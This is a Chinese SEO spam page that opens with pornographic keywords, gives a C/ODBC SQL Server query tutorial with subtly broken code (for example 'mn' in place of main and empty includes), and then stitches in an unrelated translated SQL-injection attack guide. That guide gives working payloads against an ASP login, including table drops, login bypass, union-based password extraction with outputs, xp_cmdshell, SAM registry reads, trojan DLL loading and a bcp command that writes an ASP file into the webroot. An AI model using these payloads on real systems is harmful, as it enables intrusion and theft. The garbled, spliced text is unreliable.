日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問(wèn)題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
C語(yǔ)言實(shí)現(xiàn)連接SQL數(shù)據(jù)庫(kù)查詢——一步步教您完成!(c實(shí)現(xiàn)連接sql數(shù)據(jù)庫(kù)查詢)

隨著互聯(lián)網(wǎng)技術(shù)的快速發(fā)展,數(shù)據(jù)庫(kù)這一組件在各種軟件開發(fā)過(guò)程中顯得越來(lái)越重要。對(duì)于C語(yǔ)言開發(fā)者來(lái)說(shuō),在應(yīng)用程序中使用數(shù)據(jù)庫(kù)查詢是一種很常見的需求。而這就需要使用數(shù)據(jù)庫(kù)連接器來(lái)訪問(wèn)數(shù)據(jù)庫(kù)并執(zhí)行操作。本文將一步步為大家介紹如何使用C語(yǔ)言連接SQL數(shù)據(jù)庫(kù)并進(jìn)行查詢操作。

網(wǎng)站建設(shè)公司,為您提供網(wǎng)站建設(shè),網(wǎng)站制作,網(wǎng)頁(yè)設(shè)計(jì)及定制網(wǎng)站建設(shè)服務(wù),專注于企業(yè)網(wǎng)站建設(shè),高端網(wǎng)頁(yè)制作,對(duì)地磅秤等多個(gè)行業(yè)擁有豐富的網(wǎng)站建設(shè)經(jīng)驗(yàn)的網(wǎng)站建設(shè)公司。專業(yè)網(wǎng)站設(shè)計(jì),網(wǎng)站優(yōu)化推廣哪家好,專業(yè)成都網(wǎng)站營(yíng)銷優(yōu)化,H5建站,響應(yīng)式網(wǎng)站。

一、首先要下載并安裝SQL Server

要想連接SQL數(shù)據(jù)庫(kù),并從C語(yǔ)言編寫的程序中查詢數(shù)據(jù),首先需要在本地電腦上安裝SQL Server。SQL Server是一種常見的關(guān)系型數(shù)據(jù)庫(kù)管理系統(tǒng),它是由Microsoft開發(fā)的,可支持Windows和Linux平臺(tái)。在安裝SQL Server之前,需要確定計(jì)算機(jī)是否已安裝.NET Framework及SQL Server Native Client等依賴項(xiàng)。這些依賴項(xiàng)可以從Microsoft官方網(wǎng)站上下載并安裝。

二、在Visual Studio中創(chuàng)建新項(xiàng)目

要在C語(yǔ)言程序中使用SQL Server,需要使用Microsoft提供的ODBC API。ODBC全稱為“Open Database Connectivity”,即開放式數(shù)據(jù)庫(kù)連接,是Microsoft開發(fā)的數(shù)據(jù)庫(kù)連接API。在創(chuàng)建項(xiàng)目前,確保已下載并安裝Visual Studio。

1. 打開Visual Studio

2. 選擇“創(chuàng)建項(xiàng)目”

3. 在“新建項(xiàng)目”頁(yè)面上,選擇“Win32控制臺(tái)應(yīng)用程序”,然后單擊“下一步”

4. 在“Win32應(yīng)用程序向?qū)А鄙希x擇“控制臺(tái)應(yīng)用程序”,并選擇“空白項(xiàng)目”,勾選“空項(xiàng)目”,然后選擇“完成”。

三、創(chuàng)建數(shù)據(jù)庫(kù)表

在本例中,將使用C語(yǔ)言程序連接到一個(gè)名為“sample”的SQL Server數(shù)據(jù)庫(kù)。在這個(gè)數(shù)據(jù)庫(kù)中,我們將創(chuàng)建一個(gè)名為“customer”的新表,包含有關(guān)客戶的數(shù)據(jù)。在創(chuàng)建此表之前,需要確保已在本地計(jì)算機(jī)上安裝SQL Server和SQL Server Management Studio。

1. 啟動(dòng)SQL Server Management Studio

2. 登錄到SQL Server數(shù)據(jù)庫(kù),選擇“新建查詢”窗口

3. 在剛剛創(chuàng)建的數(shù)據(jù)庫(kù)”sample”中創(chuàng)建一個(gè)新表:

CREATE TABLE Customer

(

ID INT,

Name VARCHAR(50),

Address VARCHAR(100),

City VARCHAR(50),

State VARCHAR(50),

Zipcode INT

)

4. 在Customer表中插入一些數(shù)據(jù)以便后續(xù)測(cè)試。

INSERT INTO Customer

VALUES (1, ‘張三’, ‘北京市朝陽(yáng)區(qū)’, ‘北京’, ‘北京’, 100001),

(2, ‘李四’, ‘上海市浦東新區(qū)’, ‘上?!? ‘上?!? 202301),

(3, ‘王五’, ‘深圳市南山區(qū)’, ‘深圳’, ‘廣東’, 300001),

(4, ‘劉六’, ‘成都市青羊區(qū)’, ‘成都’, ‘四川’, 400001)

四、在C語(yǔ)言程序中連接到數(shù)據(jù)庫(kù)并查詢數(shù)據(jù)

接下來(lái),我們將使用ODBC API和C語(yǔ)言編寫一個(gè)程序,用于連接到 “sample” 數(shù)據(jù)庫(kù)中的“Customer”表,并查詢其中的所有數(shù)據(jù)。

1. 目標(biāo):查詢“sample”數(shù)據(jù)庫(kù)中“customer”表中的所有行。

2. 進(jìn)行以下操作:

(1) 創(chuàng)建ODBC連接句柄

(2) 打開ODBC連接

(3) 設(shè)置ODBC語(yǔ)句句柄

(4) 創(chuàng)建SQL語(yǔ)句

(5) 執(zhí)行SQL查詢

(6) 將查詢結(jié)果讀入緩沖區(qū)

(7) 關(guān)閉ODBC連接

3. C語(yǔ)言代碼實(shí)現(xiàn)

#include

#include

#include

#define RETCODE SQLRETURN

int mn(int argc, char *argv[])

{

RETCODE rc;

// Allocate Environment Handle

HENV henv = SQL_NULL_HENV;

rc= SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);

if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)

{

printf(“ERROR: Unable to allocate environment handle.\n”);

return 0;

}

// Set the ODBC version for environment

rc = SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (void*)SQL_OV_ODBC3, NULL);

if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)

{

printf(“ERROR: Unable to set ODBC version.\n”);

return 0;

}

// Allocate Connection Handle

HDBC hdbc = SQL_NULL_HDBC;

rc = SQLAllocHandle(SQL_HANDLE_DBC, henv, &hdbc);

if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)

{

printf(“ERROR: Unable to allocate database handle.\n”);

return 0;

}

// Connect using SQL Server Native Client 11.0 ODBC Driver

// Change the server name here to the name of the SQL Server instance

SQLCHAR* connString = (SQLCHAR*) “DRIVER={SQL Server Native Client 11.0};SERVER=DESKTOP-8RTRGDQ\\SQLEXPRESS;DATABASE=sample;UID=XXX;PWD=YYY;”;

rc = SQLDriverConnectA(hdbc, NULL, connString, SQL_NTS, NULL, 0, NULL, SQL_DRIVER_NOPROMPT);

if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)

{

printf(“ERROR: Unable to connect to database.\n”);

return 0;

}

// Allocate Statement Handle

HSTMT hstmt = SQL_NULL_HSTMT;

rc = SQLAllocHandle(SQL_HANDLE_STMT, hdbc, &hstmt);

if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)

{

printf(“ERROR: Unable to allocate statement handle.\n”);

return 0;

}

// Execute Statement

SQLCHAR* sql = (SQLCHAR*) “SELECT * FROM Customer”;

rc = SQLExecDirectA(hstmt, sql, SQL_NTS);

if(rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)

{

printf(“ERROR: Unable to execute SQL statement.\n”);

return 0;

}

// Bind Columns to Variables

int id;

char name[50];

char address[100];

char city[50];

char state[50];

int zipcode;

printf(“ID\tName\tAddress\t\tCity\tState\tZipcode\n”);

printf(“——————————————————-\n”);

while(SQLFetch(hstmt) == SQL_SUCCESS)

{

rc = SQLGetData(hstmt, 1, SQL_C_LONG, &id, sizeof(id), NULL);

rc = SQLGetData(hstmt, 2, SQL_C_CHAR, name, sizeof(name), NULL);

rc = SQLGetData(hstmt, 3, SQL_C_CHAR, address, sizeof(address), NULL);

rc = SQLGetData(hstmt, 4, SQL_C_CHAR, city, sizeof(city), NULL);

rc = SQLGetData(hstmt, 5, SQL_C_CHAR, state, sizeof(state), NULL);

rc = SQLGetData(hstmt, 6, SQL_C_LONG, &zipcode, sizeof(zipcode), NULL);

printf(“%d\t%s\t%s\t%s\t%s\t%d\n”, id, name, address, city, state, zipcode);

}

// Free Statement Handle

rc = SQLFreeHandle(SQL_HANDLE_STMT, hstmt);

if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)

{

printf(“ERROR: Unable to free statement handle.\n”);

return 0;

}

//Disconnect the databse

rc = SQLDisconnect(hdbc);

if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)

{

printf(“ERROR: Unable to disconnect the database.\n”);

return 0;

}

//Free the Connection Handle

rc = SQLFreeHandle(SQL_HANDLE_DBC, hdbc);

if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)

{

printf(“ERROR: Unable to free database handle.\n”);

return 0;

}

//Free the Environment Handle

rc = SQLFreeHandle(SQL_HANDLE_ENV, henv);

if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO)

{

printf(“ERROR: Unable to free environment handle.\n”);

return 0;

}

return 1;

}

五、編譯并執(zhí)行代碼

在Visual Studio中編譯代碼并執(zhí)行,結(jié)果如下所示:

ID Name Address City State Zipcode

——————————————————-

1 張三 北京市朝陽(yáng)區(qū) 北京 北京 100001

2 李四 上海市浦東新區(qū) 上海 上海 202301

3 王五 深圳市南山區(qū) 深圳 廣東 300001

4 劉六 成都市青羊區(qū) 成都 四川 400001

六、

相關(guān)問(wèn)題拓展閱讀:

  • 如何使用vc6.0和sql2023進(jìn)行連接和數(shù)據(jù)庫(kù)操作(查詢插入更新刪除),更好舉例

如何使用vc6.0和sql2023進(jìn)行連接和數(shù)據(jù)庫(kù)操作(查詢插入更新刪除),更好舉例

這份文檔是詳細(xì)討論SQL注入技術(shù),它適應(yīng)于比較流行的IIS+ASP+SQLSERVER平臺(tái)。它討論了哪些SQL語(yǔ)句能通過(guò)各種各樣的方法注入到應(yīng)用程序中,并且記錄與攻擊相關(guān)的數(shù)據(jù)確認(rèn)和數(shù)據(jù)庫(kù)鎖定。

這份文檔的預(yù)期讀者為與數(shù)據(jù)庫(kù)通信的WEB程序的開發(fā)者和那些扮演審核WEB應(yīng)用程序的安全專家。

介紹:

SQL是一種用于關(guān)系數(shù)據(jù)庫(kù)的結(jié)構(gòu)化查詢語(yǔ)言。它分為許多種,但大多數(shù)都松散地基于美國(guó)國(guó)家標(biāo)準(zhǔn)化組織最新的標(biāo)準(zhǔn)SQL-92。典型的執(zhí)核彎隱行語(yǔ)句是query,它能夠收集比較有達(dá)標(biāo)性的記錄并返回一個(gè)單一的結(jié)果集。SQL語(yǔ)言可以修改數(shù)據(jù)庫(kù)結(jié)構(gòu)(數(shù)據(jù)定義語(yǔ)言)和操作數(shù)據(jù)庫(kù)內(nèi)容(數(shù)據(jù)操作語(yǔ)言)。在這份文檔中,我們將特別討論SQLSERVER所使用的Transact-SQL語(yǔ)言。

當(dāng)一個(gè)攻擊者能夠通過(guò)往query中插入一系列的sql語(yǔ)句來(lái)操作數(shù)據(jù)寫入到應(yīng)用程序中去,我們管這種方法定義成SQL注入。

一個(gè)典型的SQL語(yǔ)句如下:

Select id,forename,surname from authors

這條語(yǔ)句將返回authors表中所有行的id,forename和surname列。這個(gè)結(jié)果可以被限制,例如:

Select id,forename,surname from authors where forename’john’ and surname=’ith’

需要著重指明的是字符串’john’和’ith’被單引號(hào)限制。明確的說(shuō),forename和surname字段是被用戶提供的輸入限制的,攻擊者可以通過(guò)輸入值來(lái)往這個(gè)查詢中注入一些SQL語(yǔ)句,

如下:

Forename:jo’hn

Surname:ith

查詢語(yǔ)句變?yōu)?

Select id,forename,surname from authors where forename=’jo’hn’ and surname=’ith’

當(dāng)數(shù)據(jù)庫(kù)試圖去執(zhí)行這個(gè)查詢時(shí),它將返回如下錯(cuò)誤:

Server:Msg 170, Level 15, State 1, Line 1

Line 1:Incorrect syntax near ‘hn’

造成這種結(jié)果的原因是插入了.作為定界符的單引號(hào)。數(shù)據(jù)庫(kù)嘗試去執(zhí)行’hn’,但是失敗。如果攻擊者提供特別的輸入如:

Forename:jo’;drop table authors—

Surname:

結(jié)果是authors表被刪除,造成這種結(jié)果的原因我們稍后再講。

看上去好象通過(guò)從輸入中去掉單引號(hào)或者通過(guò)某些方法避免它們都可以解決這個(gè)問(wèn)題。這是可行的,但是用這種方法做解決方法會(huì)存在幾個(gè)困難。之一,并不是所有用戶提供的數(shù)據(jù)都是字符串。如果用戶輸入的是通過(guò)用戶id來(lái)查詢author,那我們的查詢應(yīng)該像這樣:

Select id,forename,surname from authors where id=1234

在這種情況下,一個(gè)攻擊者可以非常簡(jiǎn)單地在數(shù)字的結(jié)尾添加SQL語(yǔ)句,在其他版本的SQL語(yǔ)言中,使用各種各樣的限定符號(hào);在數(shù)據(jù)庫(kù)管理系統(tǒng)JET引擎中,數(shù)據(jù)可以被使用’#’限定。第二,避免單引號(hào)盡管看上去可以,但是是改廳沒必要的鬧沖,原因我們稍后再講。

我們更進(jìn)一步地使用一個(gè)簡(jiǎn)單的ASP登陸頁(yè)面來(lái)指出哪些能進(jìn)入SQLSERVER數(shù)據(jù)庫(kù)并且嘗試鑒別進(jìn)入一些虛構(gòu)的應(yīng)用程序的權(quán)限。

這是一個(gè)提交表單頁(yè)的代碼,讓用戶輸入用戶名和密碼:

Login Page

Login

Username:

Password:

下面是process_login.asp的代碼,它是用來(lái)控制登陸的:

p { font-size=20pt ! important}

font { font-size=20pt ! important}

h1 { font-size=64pt ! important}

ACCESS DENIED

ACCESS GRANTED

Welcome, ” ); Response.end }

}

function Main() { //Set up connection

var username

var cn = Server.createobject( “ADODB.Connection” );

cn.connectiontimeout = 20;

cn.open( “l(fā)ocalserver”, “sa”, “password” );

username = new String( Request.form(“username”) );

if( username.length > 0) {

Login( cn );

}

cn.close();

}

Main();

%>

出現(xiàn)問(wèn)題的地方是process_lgin.asp中產(chǎn)生查詢語(yǔ)句的部分:

Var sql=”select * from users where username='”+username+”‘ and password='”+password+”‘”;

如果用戶輸入的信息如下:

Username:’;drop table users—

Password:

數(shù)據(jù)庫(kù)中表users將被刪除,拒絕任何用戶進(jìn)入應(yīng)用程序?!?hào)在Transact-SQL中表示忽略’—’以后的語(yǔ)句,’;’符號(hào)表示一個(gè)查詢的結(jié)束和另一個(gè)查詢的開始。’—’位于username字段中是必須的,它為了使這個(gè)特殊的查詢終止,并且不返回錯(cuò)誤。

攻擊者可以只需提供他們知道的用戶名,就可以以任何用戶登陸,使用如下輸入:

Username:admin’—

攻擊者可以使用users表中之一個(gè)用戶,輸入如下:

Username:’ or 1=1—

更特別地,攻擊者可以使用完全虛構(gòu)的用戶登陸,輸入如下:

Username:’ union select 1,’fictional_user’,’some_password’,1—

這種結(jié)果的原因是應(yīng)用程序相信攻擊者指定的是從數(shù)據(jù)庫(kù)中返回結(jié)果的一部分。

通過(guò)錯(cuò)誤消息獲得信息

這個(gè)幾乎是David Litchfield首先發(fā)現(xiàn)的,并且通過(guò)作者滲透測(cè)試的;后來(lái)David寫了一份文檔,后來(lái)作者參考了這份文檔。這些解釋討論了‘錯(cuò)誤消息‘潛在的機(jī)制,使讀者能夠完全地了解它,潛在地引發(fā)他們的能力。

為了操作數(shù)據(jù)庫(kù)中的數(shù)據(jù),攻擊者必須確定某些數(shù)據(jù)庫(kù)和某些表的結(jié)構(gòu)。例如我們可以使用如下語(yǔ)句創(chuàng)建user表:

Create talbe users(

Id int,

Username varchar(255),

Password varchar(255),

Privs int

)

然后將下面的用戶插入到users表中:

Insert into users values(0,’admin’,’r00tr0x!’,0xffff)

Insert into users values(0,’guest’,’guest’,0x0000)

Insert into users values(0,’chris’,’password’,0x00ff)

Insert into users values(0,’fred’,’sesame’,0x00ff)

如果我們的攻擊者想插入一個(gè)自己的用戶。在不知道users表結(jié)構(gòu)的情況下,他不可能成功。即使他比較幸運(yùn),至于privs字段不清楚。攻擊者可能插入一個(gè)’1’,這樣只給他自己一個(gè)低權(quán)限的用戶。

幸運(yùn)地,如果從應(yīng)用程序(默認(rèn)為ASP行為)返回錯(cuò)誤消息,那么攻擊者可以確定整個(gè)數(shù)據(jù)庫(kù)的結(jié)構(gòu),并且可以以程序中連接SQLSERVER的權(quán)限度曲任何值。

(下面以一個(gè)簡(jiǎn)單的數(shù)據(jù)庫(kù)和asp腳本來(lái)舉例說(shuō)明他們是怎么工作的)

首先,攻擊者想獲得建立用戶的表的名字和字段的名字,要做這些,攻擊者需要使用select語(yǔ)法的having子句:

Username:’ having 1=1—

這樣將會(huì)出現(xiàn)如下錯(cuò)誤:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

Column ‘users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/process_login.asp, line 35

因此現(xiàn)在攻擊者知道了表的名字和之一個(gè)地段的名字。他們?nèi)匀豢梢酝ㄟ^(guò)把字段放到group by子句只能感去找到一個(gè)一個(gè)字段名,如下:

Username:’ group by users.id having 1=1—

出現(xiàn)的錯(cuò)誤如下:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

Column ‘users.username’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/process_login.asp, line 35

最終攻擊者得到了username字段后:

‘ group by users.id,users.username,users.password,users.privs having 1=1—

這句話并不產(chǎn)生錯(cuò)誤,相當(dāng)于:

select * from users where username=”

因此攻擊者現(xiàn)在知道查詢涉及users表,按順序使用列’id,username,password,privs’。

能夠確定每個(gè)列的類型是非常有用的。這可以通過(guò)使用類型轉(zhuǎn)化來(lái)實(shí)現(xiàn),例如:

Username:’ union select sum(username) from users—

這利用了SQLSERVER在確定兩個(gè)結(jié)果集的字段是否相等前應(yīng)用sum子句。嘗試去計(jì)算sum會(huì)得到以下消息:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

The sum or average aggregate operation cannot take a varchar data type as an argument.

/process_login.asp, line 35

這告訴了我們’username’字段的類型是varchar。如果是另一種情況,我們嘗試去計(jì)算sum()的是數(shù)字類型,我們得到的錯(cuò)誤消息告訴我們兩個(gè)的字段數(shù)量不相等。

Username:’ union select sum(id) from users—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

/process_login.asp, line 35

我們可以用這種技術(shù)近似地確定數(shù)據(jù)庫(kù)中任何表中的任何字段的類型。

這樣攻擊者就可以寫一個(gè)好的insert查詢,例如:

Username:’;insert into users values(666,’attacker’,’foobar’,’0xffff)—

這種技術(shù)的潛在影響不僅僅是這些。攻擊者可以利用這些錯(cuò)誤消息顯示環(huán)境信息或數(shù)據(jù)庫(kù)。通過(guò)運(yùn)行一列一定格式的字符串可以獲得標(biāo)準(zhǔn)的錯(cuò)誤消息:

select * from master ..syessages

解釋這些將實(shí)現(xiàn)有趣的消息。

一個(gè)特別有用的消息關(guān)系到類型轉(zhuǎn)化。如果你嘗試將一個(gè)字符串轉(zhuǎn)化成一個(gè)整型數(shù)字,那么字符串的所有內(nèi)容會(huì)返回到錯(cuò)誤消息中。例如在我們簡(jiǎn)單的登陸頁(yè)面中,在username后面會(huì)顯示出SQLSERVER的版本和所運(yùn)行的操作系統(tǒng)信息:

Username:’ union select @@version,1,1,1—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

Syntax error converting the nvarchar value ‘Microsoft SQL Server.00.194 (Intel X86) Aug:57:48 Copyright (c)Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ‘ to a column of data type int.

/process_login.asp, line 35

這句嘗試去將內(nèi)置的’@@version’常量轉(zhuǎn)化成一個(gè)整型數(shù)字,因?yàn)閡sers表中的之一列是整型數(shù)字。

這種技術(shù)可以用來(lái)讀取數(shù)據(jù)庫(kù)中任何表的任何值。自從攻擊者對(duì)用戶名和用戶密碼比較感興趣后,他們比較喜歡去從users表中讀取用戶名,例如:

Username:’ union select min(username),1,1,1 from users where username>’a’—

這句選擇users表中username大于’a’中的最小值,并試圖把它轉(zhuǎn)化成一個(gè)整型數(shù)字:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

Syntax error converting the varchar value ‘a(chǎn)dmin’ to a column of data type int.

/process_login.asp, line 35

因此攻擊者已經(jīng)知道用戶admin是存在的。這樣他就可以重復(fù)通過(guò)使用where子句和查詢到的用戶名去尋找下一個(gè)用戶。

Username:’ union select min(username),1,1,1 from users where username>’admin’—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

Syntax error converting the varchar value ‘chris’ to a column of data type int.

/process_login.asp, line 35

一旦攻擊者確定了用戶名,他就可以開始收集密碼:

Username:’ union select password,1,1,1 from users where username=’admin’—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

Syntax error converting the varchar value ‘r00tr0x!’ to a column of data type int.

/process_login.asp, line 35

一個(gè)更高級(jí)的技術(shù)是將所有用戶名和密碼連接長(zhǎng)一個(gè)單獨(dú)的字符串,然后嘗試把它轉(zhuǎn)化成整型數(shù)字。這個(gè)例子指出:Transavt-SQL語(yǔ)法能夠在不改變相同的行的意思的情況下把它們連接起來(lái)。下面的腳本將把值連接起來(lái):

begin declare @ret varchar(8000)

set @ret=’:’

select @ret=@ret+’ ‘+username+’/’+password from users where

username>@ret

select @ret as ret into foo

end

攻擊者使用這個(gè)當(dāng)作用戶名登陸(都在一行)

Username: ‘; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ‘+username+’/’+password from users where username>@ret select @ret as ret into foo end—

這就創(chuàng)建了一個(gè)foo表,里面只有一個(gè)單獨(dú)的列’ret’,里面存放著我們得到的用戶名和密碼的字符串。正常情況下,一個(gè)低權(quán)限的用戶能夠在同一個(gè)數(shù)據(jù)庫(kù)中創(chuàng)建表,或者創(chuàng)建臨時(shí)數(shù)據(jù)庫(kù)。

然后攻擊者就可以取得我們要得到的字符串:

Username:’ union select ret,1,1,1 from foo—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

Syntax error converting the varchar value ‘: admin/r00tr0x! guest/guest chris/password fred/sesame’ to a column of data type int.

/process_login.asp, line 35

然后丟棄(刪除)表來(lái)清楚腳印:

Username:’; drop table foo—

這個(gè)例子僅僅是這種技術(shù)的一個(gè)表面的作用。沒必要說(shuō),如果攻擊者能夠從數(shù)據(jù)庫(kù)中獲得足夠的錯(cuò)誤西,他們的工作就變的無(wú)限簡(jiǎn)單。

獲得更高的權(quán)限

一旦攻擊者控制了數(shù)據(jù)庫(kù),他們就想利用那個(gè)權(quán)限去獲得網(wǎng)絡(luò)上更高的控制權(quán)。這可以通過(guò)許多途徑來(lái)達(dá)到:

1. 在數(shù)據(jù)庫(kù)服務(wù)器上,以SQLSERVER權(quán)限利用xp_cmdshell擴(kuò)展存儲(chǔ)過(guò)程執(zhí)行命令。

2. 利用xp_regread擴(kuò)展存儲(chǔ)過(guò)程去讀注冊(cè)表的鍵值,當(dāng)然包括SAM鍵(前提是SQLSERVER是以系統(tǒng)權(quán)限運(yùn)行的)

3. 利用其他存儲(chǔ)過(guò)程去改變服務(wù)器

4. 在連接的服務(wù)器上執(zhí)行查詢

5. 創(chuàng)建客戶擴(kuò)展存儲(chǔ)過(guò)程去在SQLSERVER進(jìn)程中執(zhí)行溢出代碼

6. 使用’bulk insert’語(yǔ)法去讀服務(wù)器上的任意文件

7. 使用bcp在服務(wù)器上建立任意的文本格式的文件

8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統(tǒng)存儲(chǔ)過(guò)程去創(chuàng)建ActiveX應(yīng)用程序,使它能做任何ASP腳本可以做的事情

這些只列舉了非常普通的可能攻擊方法的少量,攻擊者很可能使用其它方法。我們介紹收集到的攻擊關(guān)于SQL服務(wù)器的明顯攻擊方法,為了說(shuō)明哪方面可能并被授予權(quán)限去注入SQL.。我們將依次處理以上提到的各種方法:

許多存儲(chǔ)過(guò)程被創(chuàng)建在SQLSERVER中,執(zhí)行各種各樣的功能,例如發(fā)送電子郵件和與注冊(cè)表交互。

Xp_cmdshell是一個(gè)允許執(zhí)行任意的命令行命令的內(nèi)置的存儲(chǔ)過(guò)程。例如:

Exec master..xp_cmdshell ‘dir’

將獲得SQLSERVER進(jìn)程的當(dāng)前工作目錄中的目錄列表。

Exec master..xp_cmdshell ‘net user’

將提供服務(wù)器上所有用戶的列表。當(dāng)SQLSERVER正常以系統(tǒng)帳戶或域帳戶運(yùn)行時(shí),攻擊者可以做出更嚴(yán)重的危害。

另一個(gè)有用的內(nèi)置存儲(chǔ)過(guò)程是xp_regXXXX類的函數(shù)。

Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumkeys

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

這些函數(shù)的使用方法舉例如下:

exec xp_regread HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’

這將確定什么樣的會(huì)話連接在服務(wù)器上是可以使用的

exec xp_regenumvalues HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’

這將顯示服務(wù)器上所有SNMP團(tuán)體配置。在SNMP團(tuán)體很少被更改和在許多主機(jī)間共享的情況下,有了這些信息,攻擊者或許會(huì)重新配置同一網(wǎng)絡(luò)中的網(wǎng)絡(luò)設(shè)備。

這很容易想象到一個(gè)攻擊者可以利用這些函數(shù)讀取SAM,修改系統(tǒng)服務(wù)的配置,使它下次機(jī)器重啟時(shí)啟動(dòng),或在下次任何用戶登陸時(shí)執(zhí)行一條任意的命令。

xp_servicecontrol過(guò)程允許用戶啟動(dòng),停止,暫停和繼續(xù)服務(wù):

exec master..xp_servicecontrol ‘start’,’schedule’

exec master..xp_servicecontrol ‘start’,’server’

下表中列出了少量的其他有用的存儲(chǔ)過(guò)程:

Xp_availablemedia 顯示機(jī)器上有用的驅(qū)動(dòng)器

Xp_dirtree 允許獲得一個(gè)目錄樹

Xp_enumdsn 列舉服務(wù)器上的ODBC數(shù)據(jù)源

Xp_loginconfig Reveals information about the security mode of the server

Xp_makecab 允許用戶在服務(wù)器上創(chuàng)建一個(gè)壓縮文件

Xp_ntsec_enumdomains 列舉服務(wù)器可以進(jìn)入的域

Xp_terminate_process 提供進(jìn)程的進(jìn)程ID,終止此進(jìn)程

SQL SERVER提供了一種允許服務(wù)器連接的機(jī)制,也就是說(shuō)允許一臺(tái)數(shù)據(jù)庫(kù)服務(wù)器上的查詢能夠操作另一臺(tái)服務(wù)器上的數(shù)據(jù)。這個(gè)鏈接存放在master.sysservers表中。如果一個(gè)連接的服務(wù)器已經(jīng)被設(shè)置成使用’sp_addlinkedsrvlogin’過(guò)程,當(dāng)前可信的連接不用登陸就可以訪問(wèn)到服務(wù)器。’openquery’函數(shù)允許查詢脫離服務(wù)器也可以執(zhí)行。

擴(kuò)展存儲(chǔ)過(guò)程應(yīng)用程序接口是相當(dāng)簡(jiǎn)單的,創(chuàng)建一個(gè)攜帶惡意代碼的擴(kuò)展存儲(chǔ)過(guò)程動(dòng)態(tài)連接庫(kù)是一個(gè)相當(dāng)簡(jiǎn)單的任務(wù)。使用命令行有幾個(gè)方法可以上傳動(dòng)態(tài)連接庫(kù)到SQL服務(wù)器上,還有其它包括了多種自動(dòng)通訊的通訊機(jī)制,比如HTTP下載和FTP腳本。

一旦動(dòng)態(tài)連接庫(kù)文件在機(jī)器上運(yùn)行即SQL服務(wù)器能夠被訪問(wèn)——這不需要它自己是SQL服務(wù)器——攻擊者就能夠使用下面的命令添加擴(kuò)展存儲(chǔ)過(guò)程(這種情況下,我們的惡意存儲(chǔ)過(guò)程就是一個(gè)能輸出服務(wù)器的系統(tǒng)文件的小的木馬):

Sp_addextendedproc ‘xp_webserver’,’c:\temp\xp_foo.dll’

在正常的方式下,這個(gè)擴(kuò)展存儲(chǔ)過(guò)程可以被運(yùn)行:

exec xp_webserver

一旦這個(gè)程序被運(yùn)行,可以使用下面的方法將它除去:

xp_dropextendedproc ‘xp_webserver’

使用’bulk insert’語(yǔ)法可以將一個(gè)文本文件插入到一個(gè)臨時(shí)表中。簡(jiǎn)單地創(chuàng)建這個(gè)表:

create table foo( line varchar(8000) )

然后執(zhí)行bulk insert操作把文件中的數(shù)據(jù)插入到表中,如:

bulk insert foo from ‘c:\inetpub\wwwroot\process_login.asp’

可以使用上述的錯(cuò)誤消息技術(shù),或者使用’union’選擇,使文本文件中的數(shù)據(jù)與應(yīng)用程序正常返回的數(shù)據(jù)結(jié)合,將數(shù)據(jù)取回。這個(gè)用來(lái)獲取存放在數(shù)據(jù)庫(kù)服務(wù)器上的腳本源代碼或者ASP腳本代碼是非常有用的。

使用’bulk insert’的相對(duì)技術(shù)可以很容易建立任意的文本文件。不幸的是這需要命令行工具?!痓cp’,即’bulk copy program’

既然 bcp可以從SQL服務(wù)進(jìn)程外訪問(wèn)數(shù)據(jù)庫(kù),它需要登陸。這代表獲得權(quán)限不是很困難,既然攻擊者能建立,或者利用整體安全機(jī)制(如果服務(wù)器配置成可以使用它)。

命令行格式如下:

bcp “select * from text..foo” queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar

‘S’參數(shù)為執(zhí)行查詢的服務(wù)器,’U’參數(shù)為用戶名,’P’參數(shù)為密碼,這里為’foobar’

